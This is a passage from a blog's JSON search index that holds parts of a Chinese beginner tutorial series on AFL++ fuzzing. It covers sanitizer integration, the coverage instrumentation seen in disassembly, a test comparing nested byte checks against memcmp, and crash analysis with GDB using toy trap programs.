会在编译时插入检查代码，在运行时检测这些未定义行为，并立即报告。 测试用例：\n// ubsan_test.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;limits.h\u0026gt; int main() { int a = INT_MAX; // INT_MAX是2147483647 int b = a + 1; // 整数溢出（未定义行为） printf(\u0026#34;b = %d\\n\u0026#34;, b); return 0; } 测试结果：\nafl-cc -o ubsan_test ubsan_test.c -fsanitize=undefined # 非常奇怪的，我使用afl-cc编译会告诉我没有可插桩对象，可能是代码太简单了，直接用clang了 clang -o ubsan_test ubsan_test.c -fsanitize=undefined ./ubsan_test 注意1：在编译UBSAN测试用例时，afl-cc 可能因代码过于简单（如仅包含整数溢出）而未检测到足够的插桩点，导致提示 No instrumentation targets found。这是因为UBSAN的插桩需要更明确的未定义行为（如除以零、数组越界等）。此时可使用 clang 直接编译验证，或扩展代码以触发更多UBSAN检查。\n注意2：UBSAN 默认检测到未定义行为时会插入 ud2 指令（非法硬件指令）立即终止程序， 导致看不到详细的错误信息。如需查看完整报告，请添加 -fno-sanitize-trap 参数：\n未定义行为是许多漏洞的根源（如整数溢出导致缓冲区溢出），UBSAN 能提前拦截这类问题，防止漏洞被利用。\ntips2：环境变量快速启动Sanitizer AFL++集成技巧： 除了ASAN，其他Sanitizer也可通过环境变量快速启用：\nMSAN：AFL_USE_MSAN=1 TSAN：AFL_USE_TSAN=1 UBSAN：AFL_USE_UBSAN=1 05 性能权衡与实战建议 Sanitizer 性能开销 适用场景 注意事项 ASAN ~2x 堆/栈溢出、UAF 必须设置 -m none MSAN ~3x 未初始化内存 需要全程序编译，不能链接外部库 TSAN ~5-15x 线程竞争 仅用于多线程程序 UBSAN ~1.1x 未定义行为 建议始终开启，开销最小 实战建议：\n初始阶段：先用普通模式快速积累覆盖率 深度挖掘：切换 ASAN 模式，捕获隐藏漏洞 CI/CD：始终开启 UBSAN，防止回归 总结 MSAN：检测未初始化内存，防止“幽灵数据”导致逻辑错误； TSAN：检测线程竞争，解决并发程序的安全问题； UBSAN：拦截未定义行为，防止整数溢出、除以零等漏洞。 这些 Sanitizer 与 ASAN 形成互补，覆盖了内存安全的多个维度。在 AFL++ 中，可以通过 afl-cc 一键集成这些工具，提升 Fuzzing 的漏洞挖掘深度和广度。\n文章核心：\nASAN不是让fuzzing“更快”，而是让原本不可见的漏洞变得可见。在真实漏洞挖掘中，大量堆溢出、UAF不会立即导致崩溃，而是静默破坏内存。ASAN通过影子内存和红区机制，将这些“潜伏漏洞”转化为AFL可感知的确定性崩溃，大幅提升漏洞发现率。结合AFL++的覆盖率反馈，ASAN能帮助fuzzer更高效地探索程序状态，实现“覆盖率+内存安全”的双重优化。\n","permalink":"https://chenjx12.github.io/posts/%E6%88%91%E7%9A%84afl++fuzzing%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF3/","summary":"\u003ch1 id=\"我的aflfuzzing入门之路3\"\u003e我的AFL++fuzzing入门之路（3）\u003c/h1\u003e\n\u003ch2 id=\"00-前言回顾\"\u003e00 前言回顾\u003c/h2\u003e\n\u003cp\u003e在笔者的上一篇，也是 AFL++ Fuzzing 系列的第二篇中，我们从“汇编指令”深入到“策略机制”，完成了对 AFL++ 核心能力的解构：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e插桩底层\u003c/strong\u003e：通过 IDA 反编译，直观观察了 LLVM SanitizerCoverage 的内联插桩实现，解析了 \u003ccode\u003e__afl_area_ptr\u003c/code\u003e 与 guard 变量如何协作，以及 \u003ccode\u003eNeverZero\u003c/code\u003e 机制如何防止计数溢出，从指令级掌握了覆盖率追踪的底层逻辑；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e反馈机制\u003c/strong\u003e：通过“阶梯式”与“平墙式”代码的对比实验，量化了覆盖率反馈对 fuzzing 效率的决定性影响，验证了“覆盖率引导是 AFL 灵魂”这一核心思想，揭示了为何 \u003ccode\u003ememcmp\u003c/code\u003e 类检查是 fuzzing 的噩梦；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e崩溃分析\u003c/strong\u003e：借助 GDB 与 \u003ccode\u003exxd\u003c/code\u003e 工具，我们完成了“触发崩溃→定位根因→验证输入”的完整闭环，学会了如何区分 \u003ccode\u003eud2\u003c/code\u003e 指令触发的逻辑崩溃与内存破坏导致的异常。\u003c/p\u003e\n\u003cp\u003e虽然我们已经掌握了发现和分析崩溃的方法，但在真实漏洞挖掘中，存在一个更棘手的问题：\u003cstrong\u003e并非所有的内存错误都会立即崩溃\u003c/strong\u003e。大量的堆溢出、Use-After-Free 往往会“沉默”地破坏内存，直到程序运行很久后才随机崩溃，这让 AFL++ 难以捕获到有效的反馈信号。\u003c/p\u003e\n\u003cp\u003e为了解决“漏洞隐形”的问题，本文将引入 \u003cstrong\u003eSanitizer（消毒器）\u003c/strong\u003e 机制。我们将重点探索 ASAN（地址消毒器）如何通过影子内存将“隐形漏洞”转化为“显性崩溃”，并结合实战演示其在 AFL++ 中的集成方法与性能权衡，进一步提升漏洞挖掘的深度与广度。\u003c/p\u003e\n\u003ch2 id=\"01-asan-深度解析核心重点\"\u003e01 ASAN 深度解析（核心重点）\u003c/h2\u003e\n\u003ch3 id=\"1st-为什么需要asan\"\u003e1st. 为什么需要ASAN\u003c/h3\u003e\n\u003cp\u003e要回答这个问题，我们首先得知道 ASAN 是什么：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eASAN\u003c/strong\u003e 全名 AddressSanitizer（整合了 LeakSanitizer (\u003cstrong\u003eLSAN\u003c/strong\u003e)），是一个由 Google 开发的内存错误检测工具，能够精准捕捉堆溢出、栈溢出、Use-After-Free（UAF）等常见的内存安全问题。\u003c/p\u003e\n\u003cp\u003e那么，为什么我们的 Fuzzing 特别需要它？\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1. 很多内存错误是“沉默”的\u003c/strong\u003e\n在上一篇文章中，我们遇到的崩溃都是“立即触发”的（如 \u003ccode\u003e__builtin_trap\u003c/code\u003e 或空指针解引用）。但在真实世界中，很多严重的漏洞并不会立即让程序崩溃：\u003c/p\u003e","title":"我的AFL++fuzzing入门之路（3）"},{"content":"我的AFL++fuzzing入门之路（2） 00 前篇回顾 在笔者的上一篇，也是 AFL++ Fuzzing 系列的第一篇中，我们完成了以下工作：\n理论基础：建立了对 AFL++ 的基础认知，包括其作为覆盖率引导模糊测试框架的定位、核心漏洞挖掘能力，以及编译时插桩的工作原理；\n环境搭建：在 Ubuntu 24.04 虚拟机中完成了 AFL++ 的源码编译安装，解决了 Ubuntu Apport 与 core_pattern 的系统冲突；\n实战入门：构造并测试了首个漏洞程序，在 2.7 秒内成功触发崩溃，同时掌握了 AFL++ 状态界面 8 区域的核心指标解读方法。\n基于昨日的实践基础，本文将推进三个层面的深入探索：\n插桩汇编表现：通过 IDA 反编译观察 AFL++ 使用 LLVM 的 SanitizerCoverage 在二进制层面插入的 inline 代码，理解 AFL++ 如何记录边覆盖率，从汇编指令级掌握覆盖率追踪的底层机制；\n难度进阶：通过修改触发条件（从 \u0026ldquo;AFL++\u0026rdquo; 阶梯式扩展至平墙式），测试 AFL++ 的变异深度与效率边界，观察 havoc 策略在长模式匹配场景下的表现；\n崩溃分析：引入 GDB 调试器对发现的崩溃进行根因定位，掌握调用栈回溯、寄存器状态检查等漏洞分析基础技能，完成从\u0026quot;发现崩溃\u0026quot;到\u0026quot;理解崩溃\u0026quot;的闭环。\n01 汇编插桩 为了简单，咱直接素材复用，上一篇中的test.c使用afl-cc编译的，现在再用gcc编译一遍，然后放到不同的工具下比对\n❯ cat test.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char buf[100]; FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; fread(buf, 1, sizeof(buf), f); fclose(f); // 漏洞触发点：输入 \u0026#34;AFL++\u0026#34; 会崩溃 if (buf[0] == \u0026#39;A\u0026#39; \u0026amp;\u0026amp; buf[1] == \u0026#39;F\u0026#39; \u0026amp;\u0026amp; buf[2] == \u0026#39;L\u0026#39;) if (buf[3] == \u0026#39;+\u0026#39;) if (buf[4] == \u0026#39;+\u0026#39;) __builtin_trap(); // 触发崩溃（SIGTRAP） return 0; } afl-cc -o test test.c gcc -o test-gcc test.c 这里就得到了两个不同的可执行程序版本：有afl插桩的test和gcc编译的无插桩的test-gcc\n我们由易到难用，工具来比对这两个版本\n1st. 编译对比 简单直接，插桩添加的代码指令会导致程序比正常编译的程序更大\n❯ ls -la test test-gcc -rwxr-xr-x 1 root root 119968 Mar 9 00:06 test -rwxr-xr-x 1 root root 16096 Mar 9 12:43 test-gcc 快速定位插桩符号，可以看到多出了很多以**__afl_**为前缀的函数\n❯ strings test | grep -i afl | head -20 __afl_manual_init __afl_coverage_interesting __afl_auto_second __afl_already_initialized_shm __afl_prev_caller __afl_persistent_loop __afl_selective_coverage_start_off __afl_selective_coverage __afl_dictionary_len __afl_connected __afl_coverage_skip __afl_fuzz_len __afl_coverage_off __afl_auto_init __afl_prev_ctx __afl_map_addr __afl_area_ptr __afl_coverage_on __afl_auto_early __afl_final_loc ❯ strings test-gcc | grep -i afl 2nd. 反汇编对比（核心重点） 执行以下命令，将两个程序的汇编代码输出出来比对main函数：\nobjdump -d test \u0026gt; test.asm objdump -d test-gcc \u0026gt; test-gcc.asm 或者直接用ida看，图形化更直观：\n比如函数解析中，afl-cc版比gcc版多了很多系统函数\n而这是gcc版的main函数开头，可以发现非常简洁\n而这是afl-cc版的main函数开头\n可以发现多了__afl_area_ptr 和 __start___sancov_guards这两个东西\n__afl_area_ptr：共享内存 bitmap 基址，是 AFL 覆盖率地图的核心。 __start___sancov_guards：LLVM SanitizerCoverage 的 guard 数组起始地址，用来给每条边编号。 guard 变量本身只是 uint32_t，真正编号是在模块构造函数 __sanitizer_cov_trace_pc_guard_init 里完成的：该函数遍历 __start___sancov_guards 到 __stop___sancov_guards，把每个 guard 赋值为 1、2、3…，用来标识不同的边\n它们的作用以及触发条件：\n__afl_area_ptr：运行时会被 AFL++ 的 afl-fuzz 通过共享内存映射覆盖，指向 fuzzer 侧维护的 64KB bitmap。 __start___sancov_guards 里的 guard 变量：在模块初始化函数中被编号为 1、2、3…，用来标识不同的边。 插桩代码以 guard 值 为下标，访问 __afl_area_ptr[offset]，实现“边覆盖计数”。 3rd. 汇编代码解析 那么它们是怎么来的呢？\n这是LLVM 模式的内联优化：与传统 AFL 的运行时调用 __afl_maybe_log 不同，LLVM 模式利用 SanitizerCoverage 直接在编译期将探针内联到代码中。观察汇编可见，覆盖率更新被优化为单条 inc 指令操作共享内存位图，消除了函数调用开销，同时保留了 NeverZero 溢出保护机制。\n仔细看汇编后可以发现afl-cc版有一个比较明显的结构：\n2428:\tlea 0x8d59(%rip),%rax # b188 \u0026lt;__afl_area_ptr\u0026gt; 242f:\tmov (%rax),%r14 # r14 = 位图基地址 2439:\tmovzbl (%r14,%rax,1),%ecx # ecx = 当前边的计数 243e:\tinc %cl # 计数+1 (核心操作！) 2440:\tmovzbl %cl,%ecx 2443:\tcmp $0x2,%cl # 检查是否溢出 2446:\tmov $0x1,%ebp 244b:\tcmovb %ebp,%ecx # 溢出保护 (NeverZero) 244e:\tmov %cl,(%r14,%rax,1) # 写回位图 NeverZero 的核心目标是：如果计数器 inc 之后会变为0（ 即255 溢出时），把结果变成 1，避免 fuzzer 把这条边当成“没执行过。 对应到指令，就是你看到的 cmp $0x2 + cmovb：如果结果是 0，就改成 1。 即，如果某个边的执行次数超过 255 次，也不会因为偶然溢出到 0 而被 fuzzer 忽略，从而提高路径发现的稳定性 02 插桩原理：SanitizerCoverage 1st.什么是插桩 插桩（instrumentation）：在保证原程序逻辑完整性的情况下，在程序中插入一些代码来采集运行期间的执行状态。\n最简单的插桩如下所示，可能很多师傅在写程序的时候用过：\n不确定这个段代码会不会执行，print一下，\n看看某个变量是不是达到了自己的预期值，print一下……\nint test_var = 0; // original (1) void b() { ...; } void a() { ...; } // instrumented (2) void b() { printf(\u0026#34;test_var: %d\\n\u0026#34;, test_var); ...; } void a() { printf(\u0026#34;test_var: %d\\n\u0026#34;, test_var); ...; } 插桩的特点︰\n插桩的对象通常都具有相同的属性或类别涉及所有的功能、所有的基本块，比较少针对单一目标。\n插桩的程序代码通常只有几行汇编代码，并且不会做太复杂的操作。\n在模糊器中，插桩被用来进行覆盖，那么记录多少程序码被执行到。\n2nd.LLVM 模式 vs 传统 AFL 而至于AFL++的LLVM模式：\nAFL++ 的 LLVM 模式并非摒弃插桩，而是采用了更先进的编译器级插桩方案。通过 LLVM 的 SanitizerCoverage 框架，在 IR 层插入覆盖率探针，并借助编译器优化内联为直接内存操作，消除了传统汇编插桩的函数调用开销。\n关键优化：\n无函数调用：直接 inc 内存，比 call __afl_maybe_log 快 NeverZero 补丁：cmp $0x2 + cmovb 确保计数不会归零溢出 内联实现：LLVM 在编译期直接生成这些指令 SanitizerCoverage 作为 LLVM 的编译器级插桩框架，是 AFL++ 实现覆盖率追踪的核心机制。通过 IDA 反编译观察 AFL++ 在二进制层面内联插入的汇编代码（lea→mov→inc→cmovb 序列），理解其如何通过直接内存操作更新边覆盖率位图，从指令级掌握覆盖率追踪的底层实现——包括共享内存映射、NeverZero 溢出保护等关键技术细节。\n这里主要对比的是 SanitizerCoverage 的 inline-8bit-counters 模式，它会在每个边缘插入内联的计数器增量，如下：\n概念 传统 AFL SanitizerCoverage 代码形态 Trampoline（跳板函数调用） Inline（内联展开） 指令特征 call __afl_maybe_log inc byte ptr [r14+rax] 性能 有 call/ret 开销 无函数调用开销，仅有少量内存访问指令 补充1：传统的AFL插桩function add_instrumentation() 中对会对每个基本块做插桩，主要使用跳板函数__afl_maybe_log() ，这一块我就不多介绍，有兴趣的师傅可以搜搜相关的文章了解一下。\n补充2：不是所有 LLVM 模式都一定有 __sancov_guards，LLVM模式还有很多种，只不过刚好SanitizerCoverage被AFL++借来用了\n至此，我们简单的完成了对 AFL++ 插桩机制的底层观察。接下来通过增加触发难度，测试其变异策略的实际表现。\n03 难度进阶：反馈机制的重要性 1.st 实验源码 咱把之前的test.c修改一下：\ncat \u0026gt; test_step.c \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char buf[100]; FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; fread(buf, 1, sizeof(buf), f); fclose(f); // 阶梯式 if (buf[0] == \u0026#39;A\u0026#39;) if (buf[1] == \u0026#39;F\u0026#39;) if (buf[2] == \u0026#39;L\u0026#39;) if (buf[3] == \u0026#39;+\u0026#39;) if (buf[4] == \u0026#39;+\u0026#39;) __builtin_trap(); return 0; } EOF 再添加一个比对的：\ncat \u0026gt; test_wall.c \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char buf[100]; FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; fread(buf, 1, sizeof(buf), f); fclose(f); // 平墙式 if (memcmp(buf, \u0026#34;AFL++\u0026#34;, 5) == 0) __builtin_trap(); return 0; } EOF 我们来看看AFL++在这两个程序上的表现\nafl-cc -o test_step test_step.c afl-cc -o test_wall test_wall.c # 接着用无意义的垃圾数据做种子 ❯ mkdir -p step_out wall_out echo \u0026#34;test\u0026#34; \u0026gt; in/seed.txt afl-fuzz -i in -o out -- ./test_step @@ afl-fuzz -i in -o out -- ./test_wall @@ 2nd. fuzzing结果 先看阶梯式的test_step的fuzzing结果，可以发现5s钟就获取crashes\n那么我们看看平墙式test_wall的fuzzing结果，等了半个小时，探索进度始终卡在20%/20%，什么都么有发现\n3rd. 阶梯式 vs 平墙式 为什么会出现这种情况？\n阶梯式（逐步反馈）\nif (buf[0] == \u0026#39;A\u0026#39;) if (buf[1] == \u0026#39;F\u0026#39;) if (buf[2] == \u0026#39;L\u0026#39;) if (buf[3] == \u0026#39;+\u0026#39;) if (buf[4] == \u0026#39;+\u0026#39;) __builtin_trap(); 特点：\n每匹配一个字符，就进入一个 新的基本块（新边） AFL 能感知 部分进展，逐步保留接近目标的变异 有覆盖率反馈 平墙式（一棒子打死）\nif (memcmp(buf, \u0026#34;AFL++\u0026#34;, 5) == 0) __builtin_trap(); 特点：\n只有 完全匹配 5 字节才触发崩溃 匹配 0～4 字节时，没有任何新边产生 AFL 无法区分 \u0026ldquo;接近目标\u0026rdquo; 和 \u0026ldquo;完全无关\u0026rdquo; 的输入 无覆盖率反馈，纯靠随机碰撞 对比维度 阶梯式 if 嵌套 平墙式 memcmp 覆盖率反馈 ✅ 每步都有新边 ❌ 完全无反馈 变异方向性 ✅ 有明确引导 ❌ 纯随机碰撞 发现时间 5秒 \u0026gt;30分钟（未找到） 执行效率 15次找到 681万次无果 AFL 状态 活跃探索 绝望 finished AFL变异策略的底层逻辑（为什么平墙式会“退化为随机测试”）\n阶梯式：每猜对一个字符，程序进入新基本块，AFL++通过“新边覆盖”奖励该输入，并基于此变异（如bitflip、arith等），形成“反馈循环”。 平墙式：memcmp只有“全对/全错”两种结果，AFL++无法区分“接近目标”和“完全无关”的输入。此时，AFL++的变异策略（如havoc、splice）会变成“盲猜”，因为没有任何中间信号引导变异方向。 那这是否意味着本次实验失败了呢？\n并非，恰恰证明了 覆盖率引导是 AFL 的灵魂。在当前的极端案例中程序设计为\u0026quot;平墙式\u0026quot;判断时，AFL 退化为纯粹的随机测试，效率足足暴跌了45万倍。\n阶梯式通过‘新边覆盖’形成反馈循环，AFL++能基于历史输入变异（如bitflip、arith），逐步逼近目标；而平墙式因缺乏中间信号，AFL++的变异策略（如havoc、splice）退化为‘盲猜’。这解释了为什么真实漏洞中，memcmp等‘全有或全无’的检查是fuzzing的常见障碍——AFL++为此开发了CmpLog、Redqueen等技术，通过记录比较函数的输入/输出，生成更精准的种子，从而绕过这类障碍。\n4th. 深入：为什么平墙式让 AFL \u0026ldquo;失明\u0026rdquo;？ AFL 的核心假设：变异输入如果触发了新代码路径，就保留下来继续变异。\n平墙式 memcmp 打破了这一假设：\n输入 \u0026ldquo;test\u0026rdquo; → memcmp 失败 → 路径 A → 无新边 → 丢弃\n输入 \u0026ldquo;Axxxx\u0026rdquo; → memcmp 失败 → 路径 A → 无新边 → 丢弃\n输入 \u0026ldquo;AFxxx\u0026rdquo; → memcmp 失败 → 路径 A → 无新边 → 丢弃\n输入 \u0026ldquo;AFL++\u0026rdquo; → memcmp 成功 → 路径 B → 崩溃！\n从 AFL 的视角，前三种输入完全无法区分——它们都走同一条路径，都被视为\u0026quot;无价值\u0026quot;。\n概率计算：\n假设字符集为 62 个（[a-zA-Z0-9]） 随机生成 \u0026quot;AFL++\u0026quot; 的概率：(1/62)^5 ≈ 1/9 亿 以 3712 execs/sec 的速度，期望时间 ≈ 67 小时 而阶梯式通过中间反馈，将问题分解为 5 个独立子问题，每个只需 (1/62) 概率，整体复杂度从指数级降为线性级。\n本次实验使用的是“空种子”（echo \u0026quot;test\u0026quot; \u0026gt; in/seed.txt），若种子包含部分字符（如\u0026quot;A\u0026quot;、\u0026quot;AF\u0026quot;），平墙式的表现是否会改善？ AFL++的配置参数（如-t超时时间、-m内存限制）是否会影响结果？比如，延长超时时间是否会增加平墙式的发现概率？ 为什么这个实验很重要？\n真实软件中大量存在\u0026quot;平墙式\u0026quot;判断：\n文件头魔数检查：if (memcmp(header, \u0026quot;PNG\u0026quot;, 3) != 0) return ERROR; 协议版本校验：if (version != PROTO_VER) return FAIL; 校验和验证：if (crc32(buf) != expected) return CORRUPT; 没有覆盖率反馈时，AFL 需要暴力枚举 2^32 种可能才能通过 CRC 校验。而阶梯式结构（如分步解析文件头）则能让 AFL 逐步深入。\n那么面对平墙式 memcmp，AFL++ 就束手无策了吗？\n并非。AFL++ 的 CmpLog 模式（AFL_LLVM_CMPLOG=1）专门解决这类问题：\n在编译期 hook 所有比较指令（memcmp、strcmp 等） 运行时捕获比较操作数，智能变异输入以绕过检查 这将是我们后面的内容\u0026hellip;（敬请期待~）\n04 崩溃分析 直接用刚刚test_step的崩溃文件\ncd ~/afl_test # 确保有崩溃文件 ls step_out/default/crashes/ 启动gdb进行基础分析\n# 启动 GDB gdb ./test_step # 运行到崩溃 (gdb) run step_out/default/crashes/id:000000* # 查看崩溃信息 (gdb) info registers # 寄存器状态 (gdb) bt # 调用栈回溯 (gdb) x/10i $pc # 崩溃处附近指令 显示结果（部分）：\n可以看的最新的指令指向ud2触发的崩溃\nud2 是 x86 架构的故意未定义指令，专门用于触发崩溃。\n特性 说明 全称 Undefined Instruction（未定义指令） 操作码 0F 0B（2字节） 作用 强制产生 #UD（Undefined Opcode）异常 结果 SIGILL（Illegal Instruction）信号 用途 编译器插入的\u0026quot;安全崩溃点\u0026quot; GDB 分析显示崩溃点为 ud2 指令，这是 x86 的故意未定义指令，由编译器生成以触发 SIGILL。虽然源代码使用 __builtin_trap()（通常生成 int3），但优化器可能选择 ud2 作为更明确的\u0026quot;安全崩溃\u0026quot;标记。这验证了崩溃是程序设计的可控终止，而非内存破坏导致的非法执行。\n以及，如果有师傅还记得第一篇文章中查看和验证崩溃的方式\n❯ xxd step_out/default/crashes/id:000000* 00000000: 4146 4c2b 2b10 8060 AFL++..` ❯ ./test_step step_out/default/crashes/id:000000* [1] 808657 illegal hardware instruction ./test_step 那可能也会有一定的疑惑：\n为什么xxd能查看崩溃时的输入信息？ 为什么这样可以验证崩溃查看信息？ 首先，xxd 是一个十六进制转储工具，可以把任意文件以十六进制和 ASCII 形式显示出来。\n其次，AFL 保存的崩溃文件就是普通的二进制文件，本质上是触发崩溃的原始输入数据。\n实际上：\n./test_step crash_file # ↑程序 ↑输入数据（被 xxd 查看的就是这个） 相当于把crash_file作为参数输入给了程序，那程序当然会报和当时一样的错\n总的来说，xxd 是十六进制转储工具，用于查看 AFL 保存的崩溃文件（原始输入数据）的字节内容，确认触发崩溃的具体输入是否为预期的 \u0026quot;AFL++\u0026quot; 或变异版本。\n05 总结 本文从三个层面深入探索了 AFL++ 的核心机制，完成了从底层原理到实际应用的闭环学习：\n插桩底层：解码覆盖率追踪的汇编实现\n通过 IDA 反编译对比 afl-cc 与 gcc 编译的二进制，观察到 LLVM SanitizerCoverage 的内联插桩机制——__afl_area_ptr 指向共享内存位图，guard 变量标识代码边，配合 inc + cmovb 指令实现 NeverZero 溢出保护。这揭示了 AFL++ 如何在零函数调用开销下，完成边覆盖率的精确追踪。\n反馈机制：验证覆盖率引导是 AFL 的灵魂\n通过\u0026quot;阶梯式\u0026quot;与\u0026quot;平墙式\u0026quot;代码的对比实验，量化了覆盖率反馈对变异效率的决定性影响。阶梯式因每步产生新边、形成反馈循环，5 秒即发现崩溃；平墙式因 memcmp 全有或全无的特性，退化为随机盲猜，30 分钟 681 万次执行无果——效率差距达 45 万倍。这一结果解释了真实漏洞中魔数检查、CRC 校验等\u0026quot;平墙式\u0026quot;逻辑为何是 fuzzing 噩梦。\n崩溃分析：建立从发现到理解的闭环\n借助 GDB 定位崩溃点为 ud2 指令（SIGILL），区分了编译器生成的安全崩溃与内存错误导致的非法执行；通过 xxd 验证崩溃文件本质是原始输入，完成了\u0026quot;触发崩溃→根因定位→输入重现\u0026quot;的完整分析流程。\n下一篇将探索 AFL++ 的 ASAN/MSAN/UBSAN 集成，理解内存错误检测与覆盖率引导的协同工作机制，敬请期待。\n","permalink":"https://chenjx12.github.io/posts/%E6%88%91%E7%9A%84afl++fuzzing%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF2/","summary":"\u003ch1 id=\"我的aflfuzzing入门之路2\"\u003e我的AFL++fuzzing入门之路（2）\u003c/h1\u003e\n\u003ch2 id=\"00-前篇回顾\"\u003e00 前篇回顾\u003c/h2\u003e\n\u003cp\u003e在笔者的上一篇，也是 AFL++ Fuzzing 系列的第一篇中，我们完成了以下工作：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e理论基础\u003c/strong\u003e：建立了对 AFL++ 的基础认知，包括其作为覆盖率引导模糊测试框架的定位、核心漏洞挖掘能力，以及编译时插桩的工作原理；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e环境搭建\u003c/strong\u003e：在 Ubuntu 24.04 虚拟机中完成了 AFL++ 的源码编译安装，解决了 Ubuntu Apport 与 core_pattern 的系统冲突；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e实战入门\u003c/strong\u003e：构造并测试了首个漏洞程序，在 2.7 秒内成功触发崩溃，同时掌握了 AFL++ 状态界面 8 区域的核心指标解读方法。\u003c/p\u003e\n\u003cp\u003e基于昨日的实践基础，本文将推进三个层面的深入探索：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e插桩汇编表现\u003c/strong\u003e：通过 IDA 反编译观察 AFL++ 使用 LLVM 的 SanitizerCoverage 在二进制层面插入的 inline 代码，理解 AFL++ 如何记录边覆盖率，从汇编指令级掌握覆盖率追踪的底层机制；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e难度进阶\u003c/strong\u003e：通过修改触发条件（从 \u0026ldquo;AFL++\u0026rdquo; 阶梯式扩展至平墙式），测试 AFL++ 的变异深度与效率边界，观察 havoc 策略在长模式匹配场景下的表现；\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e崩溃分析\u003c/strong\u003e：引入 GDB 调试器对发现的崩溃进行根因定位，掌握调用栈回溯、寄存器状态检查等漏洞分析基础技能，完成从\u0026quot;发现崩溃\u0026quot;到\u0026quot;理解崩溃\u0026quot;的闭环。\u003c/p\u003e\n\u003ch2 id=\"01-汇编插桩\"\u003e01 汇编插桩\u003c/h2\u003e\n\u003cp\u003e为了简单，咱直接素材复用，上一篇中的test.c使用afl-cc编译的，现在再用gcc编译一遍，然后放到不同的工具下比对\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e❯\u003c/span\u003e cat test.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eargv[]) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e buf[\u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    FILE \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ef \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efopen\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003ef) \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efread\u003c/span\u003e(buf, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(buf), f);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efclose\u003c/span\u003e(f);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 漏洞触发点：输入 \u0026#34;AFL++\u0026#34; 会崩溃\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan 